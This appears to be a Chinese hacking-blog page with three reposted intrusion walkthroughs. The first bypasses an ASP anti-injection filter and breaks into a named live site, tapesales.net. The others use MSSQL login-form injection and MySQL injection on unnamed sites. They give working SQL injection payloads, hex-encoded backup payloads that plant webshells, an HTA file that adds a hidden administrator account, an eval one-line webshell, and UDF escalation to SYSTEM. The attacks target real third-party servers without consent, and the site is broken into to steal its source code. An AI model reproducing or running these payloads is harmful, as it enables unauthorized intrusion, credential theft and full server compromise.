浏览模式: 标准 | 列表分类:渗透实例

%69d分析绕过防注入-枫叶防注入

Submitted by admin
2010, November 12, 6:32 PM

原著:lake2,尊重版权!
枫叶防注入。看代码吧:
Dim Fy_Url,Fy_a,Fy_x,Fy_Cs(),Fy_Cl,Fy_Ts,Fy_Zx
Fy_Cl = 2 '处理方式:1=提示信息,2=转向页面,3=先提示再转向
Fy_Zx = "../" '出错时转向的页面
On Error Resume Next
Fy_Url=Request.ServerVariables("QUERY_STRING")
Fy_a=split(Fy_Url,"&")
redim Fy_Cs(ubound(Fy_a))
On Error Resume Next
for Fy_x=0 to ubound(Fy_a)
Fy_Cs(Fy_x) = left(Fy_a(Fy_x),instr(Fy_a(Fy_x),"=")-1)
Next
For Fy_x=0 to ubound(Fy_Cs)
If Fy_Cs(Fy_x)<>"" Then
If Instr(LCase(Request(Fy_Cs(Fy_x))),"'")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"and")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"select")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"update")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"chr")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"delete%20from")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),";")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"insert")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"mid")<>0 Or Instr(LCase(Request(Fy_Cs(Fy_x))),"master.")<>0 Then
Select Case Fy_Cl
省略部分代码。。。


这个防注入系统在网上貌似很火,但是他防的是有问题的。关键是这句,Fy_Url=Request.ServerVariables("QUERY_STRING"),Request.ServerVariables得到的数据是原样的,并不会进行URL解码。这也就导致可以进行URL编码绕过这个防注入。以下是lake2对这段代码的分析:
“它的思路就是先获得提交的数据,以“&”为分界获得并处理name/value组,然后判断value里是否含有定义的关键字(这里为求简便,我只留下了“and”),有之,则为注射。
乍一看去,value被检查了,似乎没有问题。呵呵,是的,value不会有问题,可是,name呢?
它的name/value组值来自于Request.ServerVariables("QUERY_STRING"),呵呵,不好意思,这里出问题了。Request.ServerVariables("QUERY_STRING")是得到客户端提交的字符串,这里并不会自动转换url编码,哈哈,如果我们把name进行url编码再提交的话,呵呵,那就可以绕过检查了。比如参数是ph4nt0m=lake2 and lis0,此时程序能够检测到;如果提交%50h4nt0m=lake2 and lis0(对p进行url编码),程序就会去判断%50h4nt0m的值,而%50h4nt0m会被转换为ph4nt0m,所以%50h4nt0m值为空,于是就绕过了检测。
等等,为什么既然name不解码可以绕过检查而value就不能绕过呢?因为value的值取自Request(Fy_Cs(Fy_x)),这个服务器就会解码的。
程序怎么改进呢?只要能够得到客户端提交的数据是解码后的就可以了,把得到name的语句改为For Each SubmitName In Request.QueryString就可以了。”

构造如下地址:
http://www.xxx.com/xxxasp?action_key_order=big&shopxpbe_%69d=79


今天下午一朋友丢来一个网站说喜欢这个网站的源码,看能不能拿下,拿下以后说请我去腐败腐败。既然他都开口了,嘿嘿我还正愁没机会狠狠的蹭他几下,谁知道他自己找上门来了,不蹭白不蹭。先打开主站,用的是个通用防注入系统,过滤的很严格,对get跟post都进行了严格的参数过滤,转换编码格式也没能绕过注入系统,cookie注入也没能成功。后台也不能登陆,看来只能用旁注了。(如果有哪位大牛能突破这个通用防注入系统的话,不防发出来大家共享一下。)又拿出AK48,推荐一下这个工具,觉得比旁注王要好用一点,先有AK48扫射,立即就扫出了不少网站。大概有十多个吧,一查IP地址发现是上海IDC机房的,估计八成是虚拟主机了,汗!!!!!!!!!想到虚拟主机现在都有点怕了,虚拟主机提权难呀,就算你旁注到了 webshell,别说提权服务器就算是夸站也是比较困难。不管了还是先拿webshell子再说吧,网站虽然有十多个,但大多不能注入,现在的网站动不动就挂了通用防注入系统上去,就像现在电脑动不动就装个360打补丁一样,轻而易举的就把漏洞给补上了,呵呵看来现在的网民的安全意思都提高了。将近花了40分钟的时间去找注入点,结果只发现了2个网站有注入漏洞,其中还有一个虽然有注入点,但是找不到后台直接放弃了,最后只剩下一个网站希望最大了,注入也有,后台也找出来了,直接丢进啊D里面去跑跑,跑出了4个表,其中管理员表admin只跑出了一个ID字段,用户名字跟密码字段都跑出来。换个明小子跟NBSI pang龙 都试过了,只能跑出admin表却跑不出字段来了。如图(1)

工具跑不出来了,那只好手工试试,有时候手工比攻击要有效的多,先初步的分析了下,虽然我们找不到字段,但是如果这个注入点可以试用联合查询的话,说不定,不需要知道字段名字也可以把用户跟密码爆出来。先测试看能不能union
http://tapesales.net/ProductShow.asp?ID=95 order by 1(从1一直增加直到返回错误为止)当增加到29返回正常而30却返回错误,就证明当前表的字段为29个。
构造联合查询语句试下看能不能用
http://tapesales.net/ProductShow.asp?ID=95 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 from admin  返回如下图(2 )


看来联合查询可以用,嘿嘿,只要能联就不怕爆不出他的密码来。第二步我们还需要知道表admin的字段数,构造语句
http://tapesales.net/ProductShow.asp?ID=95 and 1=2 union select 1,2,3,4,5,6,* from admin (返回错误)
http://tapesales.net/ProductShow.asp?ID=95 and 1=2 union select 1,2,3,4,5,6,7,* from admin (返回错误)
http://tapesales.net/ProductShow.asp?ID=95 and 1=2 union select 1,2,3,4,5,6,7,8,* from admin(返回错误)
http://tapesales.net/ProductShow.asp?ID=95 and 1=2 union select 1,2,3,4,5,6,7,8,.....n-1,n,* from admin(替增n的值,知道返回正确)当n=15的时候返回正确了,说明admin表有29-15=14个字段,知道了表admin的字段了,那我们先试着盲爆试试看,如果运气好的话可以直接爆出来。继续爆
http://tapesales.net/ProductShow.asp?ID=95 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,* from admin 返回如图(3)

狂晕!!!这么多都没爆出一个来,看来今天手气是很不咋滴,连用户名字都没爆出来来。只爆出来了访问者的IP地址图三左下脚,要是我们知道管理员的用户字段跟密码字段就好了,直接替换2,3,5,9,15 随便替换一个就可以爆出来,关键是现在猜不出管理员的字段。看来得仔细分析分析了。
老规矩先点跟烟清理思路。。。。。。。。。。。
如果我们知道admin的字段数多的话,我们可以使用偏移注入,但是目前我们只知道一个字段ID字段,偏也偏不出来了呀?再分析一下字段数,当前的字段为 29个,而我们的admin表有14个字段,而恰好我们也已知了一个ID字段,14*2+1=29 哈哈恰好满足自联呀,自联就是根据on语句后面的条件把自己联合一下,字段数会增加一倍。。。。等等等等。。。。。。。。。。。貌似这样解释有点不对,为了不误导新人,觉得还是有必要解释一下,
比如有一个表A结构如下
id  name  pass  字段
1    abc   123
2    efg   456
3     hij   789
自联
select * from (admin as a inner join admin as b on a.id=b.id)
(其中a.id=b.id就是自联条件),将返回以下结果
a.id a.name a.pass b.id b.name b.pass
1     abc    123    1    abc    123
2     efg    456    2    efg    456
3     hij    789    3    hij    789
我们看原来一个A表用有3个字段,通过自联后,我们发现他有了6个字段,也就是说字段加倍了。汗!!1!! 扯远了回到主题。通过上面的分析,我们可以自联admin表,admin表是14个字段,自联后也就是2*14=28个字段,然后我们在随便加一个字段凑数就变成了29个字段,打乱admin表中的字段的排列顺序,然后再联合查询,这样就大大增加了被爆出用户跟密码的概率来。即使爆不出来,我们也可以用 a.id,跟b.id字段进行偏移,有了思路,下一不就是按着思路依葫芦画瓢。构造自联语句爆爆
http://tapesales.net/ProductShow.asp?ID=95 and 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)  如图(4)

嘿嘿 密码已经给爆出来了3bbffb13d93c6bbf,先去MD5,解密吧,得到密码bbs1234.接着爆用户名字,我们只要偏移一下空间联合查询的的顺序就行了。
那就偏吧。。。。。。。。。。。。。
http://tapesales.net/ProductShow.asp?ID=95 and 1=2 union select 1,a.id,* from (admin as a inner join admin as b on a.id=b.id) 如图(5) )


竟然没偏出来了,出乎我的意料了!!!!! 我再偏。。。。。。。
http://tapesales.net/ProductShow.asp?ID=95 and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
如图(6)
 



嘿嘿这下它藏不住了吧,乖乖的爆了出来 love123456 ,用户名字跟密码都有了登陆后台,后台有数据库备份功能,但是不能自定义备份后缀名字。我们可以通过抓包,然后修改post内容自定义路径跟备份格式,备份出ASP格式的安全, 如图(7),

也貌似有还有上传漏洞。成功备份出小马,小马生大马,得到一个webshel如图(8)


情况也就这么个情况,提权很困哪呀
Scripting.FileSystemObject √ 文件操作组件
wscript.shell × 命令行执行组件
ADOX.Catalog √ ACCESS建库组件
JRO.JetEngine √ ACCESS压缩组件
Scripting.Dictionary √ 数据流上传辅助组件
Adodb.connection √ 数据库连接组件
Adodb.Stream √ 数据流上传组件
SoftArtisans.FileUp × SA-FileUp 文件上传组件
LyfUpload.UploadFile × 刘云峰文件上传组件
Persits.Upload.1 √ ASPUpload 文件上传组件
JMail.SmtpMail √ JMail 邮件收发组件
CDONTS.NewMail × 虚拟SMTP发信组件
SmtpMail.SmtpMail.1 × SmtpMail发信组件
Microsoft.XMLHTTP √ 数据传输组件
PHP .net  服务器上虽然安装了,但是这个网站并不支持php跟.net。命令行也不能使用,开放端口 80 21 1433 3306,3389,FTP用的是server_u,但是管理员修改了密码,安装路劲也没权限浏览,也不能夸站浏览,出了能控制shell目录,其他目录都不能控制,哎 看来此路不通了,是时候放弃了
正准备要放弃的时候突然发现一个新的情况,再网站目录下面找到一个数据库连接文件,里面有数据库信息,嘎嘎,善良的人们总是在绝望的时候会得到老天爷的帮助。
有了数据库事情就办多了,先用数据库连接再说。看看是什么权限,public权限就可以列目录了,要是有DB权限的话,嘿嘿,夸站绰绰有余啊,提权服务器都是有可能的。用SQL 连接查询器连接数据库。果然是DB权限,DB权限的话可以试着备份到启动项试试(经过我多次测试,备份日志文件被直接备份数据库成功率至少要高一半)
在查询分析器里面输入如下语句
DUMP  TRANSACTION  sq_love  WITH  NO_LOG--
alter database sq_love set RECOVERY FULL--
create table hwz (a image)--
backup log sq_love to disk = ’c:\windows\temp\temp.bak’ with init--
insert into hwz (a) values
(0x3C736372697074206C616E67756167653D225642536372697074223E0D0A53657420206F3D4372656174654F626A6563742820225368656C6C2E55736572732220290D0A536574207A3D6F2E63
7265617465282268777A333130313422290D0A7A2E6368616E676550617373776F72642022313233343536222C22220D0A7A2E73657474696E6728224163636F756E745479706522293D330D0A776
96E646F772E636C6F73650D0A3C2F7363726970743E)--
backup log sq_love to disk = ’C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\run.hta’--
drop table hwz
要一条一条的的放在查询分析器中执行。执行完毕以后就会在启动项里生产一个run.hta的html应用程序,可以直接运行的,运行以后会添加一个用户名字为hwz31014密码为123456的管理员。DUMP  TRANSACTION  sq_love  WITH  NO_LOG-- 其中这一条是删除日志文件,经过多次测试发现,如果不清除日志,备份出来的hta文件很有可能运行不成功,使用最好先清除一下日志‘其他的就不多介绍了,大家应该都很熟悉了
好了我们执行,然后用webshell查看是否备份成功如图(9)


为了保险起见我们把这个文件下载到本地测试运行一下
C:\Program Files\MySQL\MySQL Server 5.1\bin>net user
\\ 的用户帐户
-----------------------------------------------------------------------
Administrator            ASPNET                   Guest
HelpAssistant            hwz31014                 IUSR_98A8AEEC54F641D
IWAM_98A8AEEC54F641D     SUPPORT_388945a0
命令运行完毕,但发生一个或多个错误。
成功添加管理员用户,看来我们的备份是成功的,下一部就只等管理员重启服务器我们就可以得到系统权限了,即使得不系统权限我们也不怕,至少能夸服务器所有的网站,
拿份源代码应该问题不大了,既然已经是瓮中之鳖了那就先收工吧! 等明天管理员重启服务器,我再去收网,

最后向组织提个请求,我的权限太低,我发现不能在我最喜欢的版块渗透提权发帖子,
恳请组织慎重考虑我的请求,

本篇文章来源于 Xiaoz Blog 转载请以链接形式注明出处 网址:http://www.webxiaoz.cn/article/Infiltration/719.htm

后台登入框注入拿shell

Submitted by admin
2009, November 6, 4:09 PM

By  Ay暗影

说明:文章的图片请点击以后放大观看,标点符号为了大家看得清用的是全角的,大家如果遇到站练习的时候请换成半角的英文符号!

        话说俺正在研究Java,正挠头迷茫中,朋友突然丢来一个站,说帮他日日站,前台都没有注入点,上传点也没有,说就后天有注入点,可是他说他手工功力不够,让俺来试试,于是,我就放下手中的活,打开了网站。
打开网站(网址就不发了,只讲过程),是一个医院的站点,看了下网站程序,是asp的,嘻嘻,asp的站日的比较多,对它有点亲切感,随便点了一个新闻链接,加上一个单引号,弹出了一个对话框
 
看来有点防范啊,为了确定是否是防注入系统,如果是的话,我们就可以试试cookie注入了,于是,我换个方法检测了下,就是
http://www.xxx.com/kssz.asp?BcgID=104&ThatBcgID=65&MainBcgID=102-0
在数字后加上减0,回车,弹出相同的提示对话框,分别提交
http://www.xxx.com/kssz.asp?BcgID=104&ThatBcgID=65-0&MainBcgID=102
http://www.xxx.com/kssz.asp?BcgID=104-0&ThatBcgID=65&MainBcgID=102
都是相同的提示,看来是程序过滤了,非防注入。
然后我就打开Google,搜索了下带有asp?id=的链接,结果都是一样,那注入就没戏了。
接下来,俺就拿出自己写的扫描工具扫描了下常见上传点,也没有发现,看来,只能向后台输入框进军了哈。
在后台输入一个单引号,随便输入密码,回车,报错了,哈
 
看来朋友说的没错,有戏啊,而且是mssql的,幸亏是mssql的,不然还拿不下呢(原因,后面会提到)
接着,按照常规步骤,开始注入了,但是俺是懒人,想偷点懒,于是抓包,想通过get方式来注入,这样可以让工具来代替人力啊,哈哈,
 
于是,组合下内容
www.xxx.com/login/default.asp?Submit=%B5%C7+%C2%BC&Userpwd=1& Username=1
可是老天就是不配合俺,这个方法在这里不行啊。哎,看来只能手工了,这个对俺来说相当痛苦了。
米办法,老实的一步一步来了。在输入框里输入’ having 1=1 and ‘’=’  回车,报错


嘻嘻,我得意的笑,这里,我们得到了表名和字段名,继续爆,输入’group by user_info.user_id having 1=1 and ‘’=’


 爆出了user_name,继续爆,’group by user_info.user_id ,user_info.user_name having 1=1 and ‘’=’
 
到这里就差不多了,我们要的关键字段都有了,表名也有了,该是爆内容了,输入
‘and 1=(select user_name from user_info) and ‘’=’ 爆出了用户名
 
然后用相同方法,输入’and 1=(select user_pwd from user_info) and ‘’=’ 爆出了密码,哈哈发现密码还是不加密的,那就更好了。
直接拿起密码进入后台
 
以为接下来就容易拿到shell了,随便找了一个上传点,试了下直接传,提示成功,哈哈,开心了,心道,今天rp不错的嘛,刚刚在手工那里费了点时间,现在刚刚补回来了,直接拿到shell了,于是拿着地址去打开,结果,当场吐血,为啥,因为上传路径的文件夹不让执行脚本啊
 
心里大骂这个管理员,shit,shit,shit他JJ,让老子白高兴一场。找了下其他图片的文件夹路径,都是一样,不让执行脚本。哎,苍天那,大地啊,你怎么可以这样对我啊。以为没办法那shell了,准备放弃了,和朋友一说,他说,是不是可以在后台进行差异备份拿shell呢,我一听,一拍大腿,对啊,MMB,我怎么没想到,哎,居然把后台的注入点是mssql这茬给忘了,鄙视下自己。
要差异备份首先要知道站点,哎,俺最头痛的手工又要开始了,话说到这里,插一句话,希望各位一定要好好学习sql哦,工具是死的,人是活的,手工厉害啊,虽然麻烦(观众:又开始装逼了,小心出门被雷劈啊…..我:哈哈,俺不怕,俺是绝缘体,没事没事…..忽然,天空一阵巨响,小影子被雷劈了。。。55555555,今天没看黄历啊)
开始猜路径了,过程是:建立一个表,通过xp_dirtree组件,把列出来的内容插入临时表,然后我们在一个一个把内容从临时表里读出来。
首先,我们建立一个表,输入’ create talbe tmp(id int identity(1,1),path varchar(255),depth int,isfile int ) and ‘’=’
然后,我们要确认下我们的表是否建立成功了,不然如果不成功的话,我们后面做的都是无用功了,哈。输入’ select * from tmp having 1=1 and ‘’=’,报错了,说明建表成功
 
接下来,就是插入内容了
  ‘insert into tmp exec master.dbo.xp_dirtree ‘d:\’,1,1 and ‘’=’
接着,就可以列目录了,输入
 ‘ and 1=(select path from tmp where id=N)  and ‘’=’ (N=1,2,3,4,5,……)
就列出了路径
  
改变N的值就可以列出了,重复过程就不写了,最后知道路径是D:\website\xxx.com\
接下来就是进行差异备份了,在输入框输入一次输入差异备份语句
'alter database hz3yy set RECOVERY FULL--
'Drop table [banlg];create table [dbo].[banlg] ([cmd] [image])--
'declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x737335393536 backup log @a to disk=@s with init--
'insert into banlg(cmd) values(0x3C256578656375746528726571756573742822636D64222929253E)--
'declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x643A5C776562736974655C687A3379792E636F6D5C772E617370 backup log @a to disk=@s--
'Drop table [banlg]—
然后输入网址,输入http://www.xxx.com/ww.asp,熟悉的乱码界面出现了,哈哈,然后就是传shell了,图就不截了,嘻嘻。

从php+mysql环境的注入,到整台服务器的沦陷

Submitted by admin
2009, September 26, 12:41 PM

里重点感谢一下JJ童鞋,我与该童鞋相识好几年了,不过从未见过面,但是却很投缘啊(哈哈,我不是gay),发现很多时候一起做事很有默契,我也是好久没碰php了,完全忘记怎么玩了,今天拉他来一起搞了一下,实践证明,合作的力量是伟大滴,成功拿下整台服务器权限,于是便有了本文,由于我写完之后要整理一下写到报告里面,所以会写的详细一些,大牛们请飘过。。。(废话多了点儿,谁拿砖头砸我?!)

现在开始:
注入点:http://www.12345.com/page.php?id=2
1
’和and 1=1;and 1=2证明可注。
2
order by 判断字段数25
3
4
union select得到可查变量:2、17
5
将2或17替换为user() database() version()没有任何信息,原因目前未找到,请看到的大牛指点一二。
ping一下域名:www.12345.com返回TTL:113,判断为Windows操作系统
6
用load_file()函数读虚拟主机配置文件c:\windows\system32\inetsrv\MetaBase.xml,想办法得到网站路径,发现读出的是一个汉字(应该是二进制乱码)
7
于是尝试使用hex replace将char的二进制内容转换为16进制,并将<转换为空格,防止有php等内容无法读出来:
http://www.12345.com/page.php?id=2 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,hex(replace(load_file(char(99 ,58 ,92 ,119 ,105 ,110 ,100 ,111 ,119 ,115 ,92 ,115 ,121 ,115 ,116 ,101 ,109 ,51 ,50 ,92 ,105 ,110 ,101 ,116 ,115 ,114 ,118 ,92 ,77 ,101 ,116 ,97 ,66 ,97 ,115 ,101 ,46 ,120 ,109 ,108)),0x3c,0x20)),18,19,20,21,22,23,24,25/*
8
将读出的内容复制到Winhex当中,然后另存为123.txt,并读出网站路径:
9
10
用load_file()函数读取网站首页index.php内容:
http://www.12345.com/page.php?id=2%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,load_file(0x443A5C7069616E6F5F74656D705C7777775C696E6465782E706870),18,19,20,21,22,23,24,25/*
13
发现首页调用head.php文件
12
继续读head.php
http://www.12345.com/page.php?id=2%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,load_file(0x443A5C7069616E6F5F74656D705C7777775C686561642E706870),18,19,20,21,22,23,24,25/*
发现head.php调用了Include\config.inc.php
14
继续读Include\config.inc.php
15
16
到了这里,终于得到了mysql的账户密码以及数据库名还有端口号等信息。(为什么我不直接读mysql的配置文件呢?读不到。为什么我读完 index.php里没发现config.inc.php呢?不知道哦,程序就是这么写的,在head.php里调用config然后首页调用 head。)
打开MySQL Query Browser,输入帐号密码连接数据库
17
分别执行以下SQL语句给网站插入一句话木马:
Create TABLE g(cmd text NOT NULL); //建立g表,里面就一个cmd字段
Insert INTO g (cmd) VALUES(’&lt;? php eval(_POST[1]);?>’); //把一句话木马插入到g表
Select cmd from g into out file ’D:\piano_temp\www\Include\1.php; //查询g表中的一句话并把结果导入到1.php
Drop TABLE IF EXISTS g; //删除表g
这样,我们就得到了一句话木马的服务端:http://www.12345pok.com/Include/1.php
用客户端进行连接
18
直接上传提权用的udf.php
19
填写好信息后点击提交:
20
将导出路径改为系统路径,并导出udf.dll,这里我改为C:\Windows\system\udf.dll
21
执行SQL命令:
select cmdshell (’whoami’);
22
既然是system,接下来很自然直接添加账户并提升为管理员组
23
24
下面不演示了,对方开了远程终端,但是却连接不上,读注册表发现端口没被更改,但是却无法连接,netstat -na命令也看不到这个端口,于是随便找了个远控上传,运行,服务器没杀软,几百年前的远控都OK。
部分敏感内容已处理- -!因为是昨晚写的文章,今天下午才做处理,不知道会不会有的地方改出错误了。。。发现文章不通的话请联系我。

作者:北北  来源:http://mrsun.blog.51cto.com/881719/190455

Tags: mysql